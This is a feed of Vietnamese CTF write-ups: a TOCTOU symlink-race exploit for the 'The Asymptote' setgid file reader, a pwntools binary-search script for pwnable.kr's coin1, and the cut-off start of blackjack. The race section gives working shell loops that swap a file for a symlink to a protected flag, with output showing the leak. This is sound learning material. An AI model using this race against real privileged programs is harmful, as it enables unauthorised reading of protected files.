<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>vuk3r</title>
  
  
  <link href="https://vuk3r.github.io/atom.xml" rel="self"/>
  
  <link href="https://vuk3r.github.io/"/>
  <updated>2026-04-15T03:39:17.355Z</updated>
  <id>https://vuk3r.github.io/</id>
  
  <author>
    <name>vuk3r</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>incognito - Pwn - The Asymptote</title>
    <link href="https://vuk3r.github.io/2026/04/15/incognito-Pwn-The-Asymptote/"/>
    <id>https://vuk3r.github.io/2026/04/15/incognito-Pwn-The-Asymptote/</id>
    <published>2026-04-15T03:29:33.000Z</published>
    <updated>2026-04-15T03:39:17.355Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">The Asymptote</span><br><span class="line"></span><br><span class="line">A mathematical proof guarantees that an object can never truly reach its destination, as it must always traverse half the remaining distance. Our file reader operates on similar absolute logic. It is demonstrably secure.</span><br><span class="line"></span><br><span class="line">Flag Format: IIITL&#123;...&#125;</span><br><span class="line"></span><br><span class="line">nc <span class="number">34.131</span>.<span class="number">216.230</span> <span class="number">1338</span></span><br></pre></td></tr></table></figure><h2 id="Analyze"><a href="#Analyze" class="headerlink" title="Analyze"></a>Analyze</h2><p>Challenge chỉ cho ta link <code>nc</code> nên ta nc vào check thử xem có gì trong này :</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">└─$ nc <span class="number">34.131</span>.<span class="number">216.230</span> <span class="number">1338</span></span><br><span class="line">bash: cannot <span class="built_in">set</span> terminal process <span class="title function_">group</span> <span class="params">(<span class="number">1397804</span>)</span>: Inappropriate ioctl <span class="keyword">for</span> device</span><br><span class="line">bash: no job control in this shell</span><br><span class="line">ctf@bfb9f7dbedb4:~/sessions/player_iRRbZE$ ls -lha</span><br><span class="line">ls -lha</span><br><span class="line">total 28K</span><br><span class="line">drwx------  2 ctf  ctf        4.0K Apr 15 02:43 .</span><br><span class="line">drwx--x--x  1 root root       4.0K Apr 15 02:43 ..</span><br><span class="line">-r-xr-s--x 41 root flag_group 8.5K Apr 14 06:38 challenge</span><br><span class="line">-r--r-----  2 root flag_group   57 Apr 15 02:43 flag.txt</span><br><span class="line">-r--r--r-- 36 root flag_group   96 Mar 23 10:44 welcome.txt</span><br><span class="line">ctf@bfb9f7dbedb4:~/sessions/player_iRRbZE$ cat flag.txt</span><br><span class="line">cat flag.txt</span><br><span class="line">cat: flag.txt: Permission denied</span><br><span class="line">ctf@bfb9f7dbedb4:~/sessions/player_iRRbZE$ cat welcome.txt</span><br><span class="line">cat welcome.txt</span><br><span class="line">Welcome, 8r@v3_H@ck3r.</span><br><span class="line"></span><br><span class="line">If you&#x27;re reading this, you&#x27;ve already done more work than most people.</span><br><span class="line">ctf@bfb9f7dbedb4:~/sessions/player_iRRbZE$ ./challenge</span><br><span class="line">./challenge</span><br><span class="line">Welcome, 8r@v3_H@ck3r.</span><br><span class="line"></span><br><span class="line">If you&#x27;re reading this, you&#x27;ve already done more work than most people.</span><br><span class="line">ctf@bfb9f7dbedb4:~/sessions/player_iRRbZE$</span><br></pre></td></tr></table></figure><p>Ta nhận được 3 file : 1 file nhị phân tên <code>challenge</code>, 1 <code>flag.txt</code> và 1 <code>welcome.txt</code>, chạy file binary thì nó in ra nội dung file <code>welcome.txt</code> . </p><p>Với file challenge mình thấy nó được chạy ở quyền group <code>flag_group</code> với mọi user <code>(-r-xr-s--x)</code> và file flag cũng được đọc với quyền <code>root</code> và <code>flag_group</code> , trong khi mình là quyền với user <code>ctf</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ctf@bfb9f7dbedb4:~/sessions/player_iRRbZE$ id</span><br><span class="line">id</span><br><span class="line">uid=<span class="number">1000</span>(ctf) gid=<span class="number">1000</span>(ctf) groups=<span class="number">1000</span>(ctf)</span><br></pre></td></tr></table></figure><p>nên bài này mình nghi nó là bài leo quyền để đọc được file flag.</p><p>Nếu thế thì chỉ cần tạo <code>symlink</code> tới file flag là mình sẽ đọc được với quyền <code>flag_group</code> nhưng không đơn giản như vậy.</p><p>mình sẽ thử xóa file welcome.txt rồi tạo symlink từ file <code>flag.txt</code> đặt tên là <code>welcome.txt</code> để đánh lừa file binary, chạy lại để xem output là gì thì nhận được kết quả là như này :</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">ctf@bfb9f7dbedb4:~/sessions/player_iRRbZE$rm welcome.txt</span><br><span class="line">rm welcome.txt</span><br><span class="line">rm: remove write-protected regular file <span class="string">&#x27;welcome.txt&#x27;</span>? y</span><br><span class="line">y</span><br><span class="line">ctf@bfb9f7dbedb4:~/sessions/player_iRRbZE$ ln -s flag.txt welcome.txt</span><br><span class="line">ln -s flag.txt welcome.txt</span><br><span class="line">ctf@bfb9f7dbedb4:~/sessions/player_iRRbZE$ ls -lha</span><br><span class="line">ls -lha</span><br><span class="line">total <span class="number">24</span>K</span><br><span class="line">drwx------  <span class="number">2</span> ctf  ctf        <span class="number">4.0</span>K Apr <span class="number">15</span> <span class="number">03</span>:<span class="number">00</span> .</span><br><span class="line">drwx--x--x  <span class="number">1</span> root root       <span class="number">4.0</span>K Apr <span class="number">15</span> <span class="number">03</span>:<span class="number">00</span> ..</span><br><span class="line">-r-xr-s--x <span class="number">41</span> root flag_group <span class="number">8.5</span>K Apr <span class="number">14</span> <span class="number">06</span>:<span class="number">38</span> challenge</span><br><span class="line">-r--r-----  <span class="number">2</span> root flag_group   <span class="number">57</span> Apr <span class="number">15</span> <span class="number">03</span>:<span class="number">00</span> flag.txt</span><br><span class="line">lrwxrwxrwx  <span class="number">1</span> ctf  ctf           <span class="number">8</span> Apr <span class="number">15</span> <span class="number">03</span>:<span class="number">00</span> welcome.txt -&gt; flag.txt</span><br><span class="line">ctf@bfb9f7dbedb4:~/sessions/player_iRRbZE$ ./challenge</span><br><span class="line">./challenge</span><br><span class="line">Security Alert: You don<span class="string">&#x27;t have permission to read welcome.txt</span></span><br><span class="line"><span class="string">ctf@bfb9f7dbedb4:~/sessions/player_iRRbZE$</span></span><br><span class="line"><span class="string"></span></span><br></pre></td></tr></table></figure><p>Kết quả như này đồng nghĩa với việc nó kiểm tra real UID trước rồi mới đọc file, nếu ta không có quyền đọc file flag.txt thì sẽ không chơi trò này được.</p><p>Nhưng nếu như nó kiểm tra trước rồi mới mở và đọc file, nó dẫn tới khả năng bị <code>race condition</code> với khái niệm <code>TOCTOU – Time Of Check To Time Of Use</code></p><p>Ở đây mình dự đoán code là thay vì gọi hàm <code>open()</code> trực tiếp, nó gọi hàm <code>access()</code> trước rồi mới tới <code>open()</code> </p><p>Flow mình giả sử nó là như này :</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (access(<span class="string">&quot;welcome.txt&quot;</span>, R_OK)</span><br><span class="line">|</span><br><span class="line">fopen(<span class="string">&quot;welcome.txt&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">|</span><br><span class="line">fgets(BUFF,<span class="number">1000</span>,FILE);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%s&quot;</span>,s);</span><br></pre></td></tr></table></figure><p>Trước khi đi tới test mình cần check xem có thể thực thi 2 lệnh cùng lúc như nào, thì ở đây mình thấy rằng mỗi khi kết nối tới hệ thống thì nó mở ra 1 thư mục tên là session_abc, vậy có khả năng nếu biết tên thư mục khác thì mình có thể vào được. Mình mở 2 terminal đồng thời  <code>nc</code> tới hệ thống thì thấy có vẻ ok</p><p>vậy thì idea là mở 2 shell, 1 bên gọi tới để thực thi file binary liên tục, 1 bên sẽ tìm cách hoán đổi file welcome.txt</p><p><img src="/img/post/writeup/incognito2026/1.png" alt="image.png"></p><h2 id="Solution"><a href="#Solution" class="headerlink" title="Solution"></a>Solution</h2><p>Flow mình đánh lừa hệ thống đó là :</p><ol><li>xóa file welcome.txt hiện tại</li><li>tạo file welcome.txt của riêng mình để mình có quyền đọc file đó</li><li>Tạo symlink cho flag.txt mang tên welcome.txt để ghi đè file cũ</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">rm welcome.txt;</span><br><span class="line">|</span><br><span class="line">echo abc &gt; welcome.txt;</span><br><span class="line">|</span><br><span class="line">ln -sf flag.txt welcome.txt; </span><br></pre></td></tr></table></figure><p>Tạo 2 file vòng lặp, và chạy song song, tổ hợp khi 2 vòng lặp đan xen với nhau có khả năng rất nhỏ rằng flow thực thi file binary sẽ là như này : </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">rm welcome.txt;</span><br><span class="line">|</span><br><span class="line">echo abc &gt; welcome.txt;</span><br><span class="line">|</span><br><span class="line"><span class="keyword">if</span> (access(<span class="string">&quot;welcome.txt&quot;</span>, R_OK)</span><br><span class="line">| -&gt; Lúc này access sẽ thấy ta có quyền đọc file welcome.txt </span><br><span class="line">|    (-rw-r--r--  <span class="number">1</span> ctf  ctf           <span class="number">4</span> Apr <span class="number">15</span> <span class="number">03</span>:<span class="number">19</span> welcome.txt)</span><br><span class="line">|</span><br><span class="line">ln -sf flag.txt welcome.txt; </span><br><span class="line">|</span><br><span class="line">fopen(<span class="string">&quot;welcome.txt&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">| -&gt; Lúc này welcome.txt đã bị đánh tráo thành symlink nên sẽ mở và đọc file symlink    |    welcome.txt</span><br><span class="line">|</span><br><span class="line">fgets(BUFF,<span class="number">1000</span>,FILE);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%s&quot;</span>,s);</span><br></pre></td></tr></table></figure><h2 id="Payload"><a href="#Payload" class="headerlink" title="Payload"></a>Payload</h2><p>terminal 1 sẽ chạy vòng lặp :</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> <span class="literal">true</span>; <span class="keyword">do</span></span><br><span class="line">  ./challenge;</span><br><span class="line">done</span><br></pre></td></tr></table></figure><p>terminal 2 sẽ vào thư mục của terminal 1, xóa file <code>welcome.txt</code>và chạy vòng lặp :</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> <span class="literal">true</span>; <span class="keyword">do</span></span><br><span class="line">  ln -sf flag.txt welcome.txt;</span><br><span class="line">  rm welcome.txt;</span><br><span class="line">  echo abc &gt; welcome.txt;</span><br><span class="line">done</span><br></pre></td></tr></table></figure><p>Vừa chạy vừa canh sẽ thấy thành quả :&gt; </p><p><img src="/img/post/writeup/incognito2026/2.png" alt="image.png"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">ecurity Alert: You don<span class="string">&#x27;t have permission to read welcome.txt</span></span><br><span class="line"><span class="string">Security Alert: You don&#x27;</span>t have permission to read welcome.txt</span><br><span class="line">abc</span><br><span class="line">Security Alert: You don<span class="string">&#x27;t have permission to read welcome.txt</span></span><br><span class="line"><span class="string">abc</span></span><br><span class="line"><span class="string">Security Alert: You don&#x27;</span>t have permission to read welcome.txt</span><br><span class="line">abc</span><br><span class="line">Security Alert: You don<span class="string">&#x27;t have permission to read welcome.txt</span></span><br><span class="line"><span class="string">Security Alert: You don&#x27;</span>t have permission to read welcome.txt</span><br><span class="line">IIITL&#123;<span class="number">4</span>cc355_ch3ck_p4553d_bu7_f1l3_5w4pp3d_4876a4790335&#125;</span><br><span class="line">Security Alert: You don<span class="string">&#x27;t have permission to read welcome.txt</span></span><br><span class="line"><span class="string">abc</span></span><br><span class="line"><span class="string">Security Alert: You don&#x27;</span>t have permission to read welcome.txt</span><br><span class="line">abc</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;figure class=&quot;highlight c&quot;&gt;&lt;table&gt;&lt;t</summary>
      
    
    
    
    <category term="Writeup" scheme="https://vuk3r.github.io/categories/Writeup/"/>
    
    
    <category term="PWN" scheme="https://vuk3r.github.io/tags/PWN/"/>
    
    <category term="Writeup" scheme="https://vuk3r.github.io/tags/Writeup/"/>
    
  </entry>
  
  <entry>
    <title>PWNABLE.KR - Phần 2</title>
    <link href="https://vuk3r.github.io/2026/02/26/PWNABLE-KR-Phan-2/"/>
    <id>https://vuk3r.github.io/2026/02/26/PWNABLE-KR-Phan-2/</id>
    <published>2026-02-26T14:38:06.000Z</published>
    <updated>2026-04-15T03:39:17.355Z</updated>
    
    <content type="html"><![CDATA[<p>Đây là phần 2 của series <a href="http://pwnable.kr/">Pwnable.kr</a> của mình. Phần này sẽ là các challenge còn lại của Toddler’s Bottle. No need milk anymore, baby grow up !</p><h1 id="coin1"><a href="#coin1" class="headerlink" title="coin1"></a>coin1</h1><h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Mommy, I wanna play a game!</span><br><span class="line"></span><br><span class="line">ssh coin1@pwnable.kr -p2222 (pw: guest)</span><br></pre></td></tr></table></figure><h2 id="Source"><a href="#Source" class="headerlink" title="Source"></a>Source</h2><h3 id="readme"><a href="#readme" class="headerlink" title="readme"></a>readme</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc <span class="number">0</span> <span class="number">9007</span> to get flag!</span><br></pre></td></tr></table></figure><h2 id="Solution"><a href="#Solution" class="headerlink" title="Solution"></a>Solution</h2><p>nc tới địa chỉ thì ta sẽ bắt đầu được game. Luật game cơ bản là tìm đúng đồng xu trong N đồng xu, và người chơi có C dự đoán và thêm 1 lần nữa để nhập đáp án. Với mỗi lần tìm được thì tính là 1 xu, và ta cần tìm được 100 đồng tương đương với chơi 100 lần như thế. Với mỗi vòng chỉ được 60s. Với mỗi lần hỏi thì sẽ trả về giá trị của tổng các đồng xu đó, với xu đúng thì là 9 và 10 với các xu còn lại.</p><p>Theo mình để ý thì C nó sẽ tầm từ 6 tới 10 lần, tỉ lệ thuận với N. Thì nó chỉ là 1 game đoán số thôi, giả sử mình bảo ai đó nghĩ tới 1 số trong khoảng 0 tới 100, và mình sẽ đoán bằng cách hỏi rằng số đó có lớn hơn 50 không, rồi lớn hơn 75 không, rồi cứ lần lượt như thế thì mình sẽ tìm được số người kia đang nghĩ. Trong giải thuật thì đây là một cách tìm tương tự như Cây Nhị Phân.</p><p>Vì chương trình cho ta nhập vào nhiều số nên nếu ta nhập được toàn bộ số của khoảng ta muốn hỏi thì chương trình trả về được rằng trong khoảng đó có số cần tìm hay không.</p><p>ví dụ N&#x3D;10 và số cần tìm là 5</p><p>nhập : 1 2 3 4 5 ⇒ chương trình trả về 49 vì đồng 1, 2, 3, 4 là là đồng bình thường nên nó sẽ là 10, còn đồng 5 là đồng cần tìm nên nó là 9 ⇒ tổng là 49</p><p>Cái khó ở đây là thời gian limit của mỗi đợt là 60s nên ta cần viết script.</p><p>Ta được phép viết script python tại thư mục <code>/tmp</code> và dùng lệnh <code>echo &lt;payload&gt; &gt; solve.py</code></p><p>Vậy thì script của ta nó sẽ có :<br>[+] Một vòng lặp lặp 100 lần tương đương 100 lần chơi.</p><p>[+] Một vòng lặp Lặp C+1 lần để chơi cho hết lượt đoán và 1 lần nhập đáp án.</p><p>[+] Một đoạn code gen các chuỗi để nhập vào.</p><p><del>Mình lười giải thích script quá nên</del> Script như bên dưới:</p><h2 id="Payload"><a href="#Payload" class="headerlink" title="Payload"></a>Payload</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> math</span><br><span class="line"></span><br><span class="line">p = remote(<span class="string">&#x27;0&#x27;</span>, <span class="built_in">int</span>(<span class="number">9007</span>))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;DEBUG&#x27;</span></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">b&#x27;Ready? starting in 3 sec... -\n&#x27;</span>)</span><br><span class="line">coin = <span class="number">0</span></span><br><span class="line"><span class="keyword">while</span>(coin&lt;=<span class="number">100</span>): <span class="comment"># vòng lặp cho 100 lần chơi</span></span><br><span class="line">    log.info(<span class="string">f&#x27;current coin : <span class="subst">&#123;coin&#125;</span>&#x27;</span>)</span><br><span class="line">    p.recvuntil(<span class="string">b&#x27;N=&#x27;</span>)</span><br><span class="line">    N = <span class="built_in">int</span>(p.recvuntil(<span class="string">b&#x27; &#x27;</span>,drop=<span class="literal">True</span>).decode())</span><br><span class="line">    p.recvuntil(<span class="string">b&#x27;C=&#x27;</span>)</span><br><span class="line">    C = <span class="built_in">int</span>(p.recvline().decode())</span><br><span class="line">    start  = <span class="number">0</span></span><br><span class="line">    end = N <span class="comment"># lần đầu tiên LUÔN lấy từ khoảng 0 tới khoảng N/2</span></span><br><span class="line">    mid = start + math.ceil((start+end)/<span class="number">2</span>)</span><br><span class="line">    <span class="keyword">while</span>(C&gt;=<span class="number">0</span>): </span><br><span class="line">        no_sus=<span class="number">0</span> <span class="comment"># tính toán input nhập vào, ví dụ nhập 3 số thì nếu như không có đồng sus sẽ là : no_sus*10</span></span><br><span class="line">        payload = <span class="string">&#x27;&#x27;</span></span><br><span class="line">        mid = math.ceil((start+end)/<span class="number">2</span>)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">int</span>(start),<span class="built_in">int</span>(mid)): </span><br><span class="line">            no_sus=no_sus+<span class="number">1</span></span><br><span class="line">            payload += <span class="string">f&#x27;<span class="subst">&#123;i&#125;</span> &#x27;</span></span><br><span class="line">        p.sendline(payload)</span><br><span class="line">        check = (p.recvline()).decode()</span><br><span class="line">        <span class="keyword">if</span>(<span class="string">&#x27;Correct&#x27;</span> <span class="keyword">in</span> check):</span><br><span class="line">            coin = coin + <span class="number">1</span></span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        check = <span class="built_in">int</span>(check)</span><br><span class="line">        </span><br><span class="line">        no_sus = no_sus * <span class="number">10</span></span><br><span class="line">        log.info(<span class="string">f&#x27;check: <span class="subst">&#123;check&#125;</span> | no_sus: <span class="subst">&#123;no_sus&#125;</span>&#x27;</span>)</span><br><span class="line">        log.info(<span class="string">f&#x27;start : <span class="subst">&#123;start&#125;</span>&#x27;</span>)</span><br><span class="line">        log.info(<span class="string">f&#x27;end : <span class="subst">&#123;end&#125;</span>&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span>(check == no_sus): <span class="comment"># nếu như đầu ra giống số dự tính thì đồng sus ở khoảng còn lại</span></span><br><span class="line">            start = mid</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            end = mid</span><br><span class="line">        C = C-<span class="number">1</span></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h1 id="blackjack"><a href="#blackjack" class="headerlink" title="blackjack"></a>blackjack</h1><h2 id="Description-1"><a href="#Description-1" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Hey! check out this C implementation of blackjack game!</span><br><span class="line">I found it online</span><br><span class="line">* http:<span class="comment">//cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html</span></span><br><span class="line"></span><br><span class="line">I like to give my flags to millionares.</span><br><span class="line">how much money you got?</span><br><span class="line"></span><br><span class="line">ssh blackjack@pwnable.kr -p2222 (pw:guest)</span><br></pre></td></tr></table></figure><h2 id="Source-1"><a href="#Source-1" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span 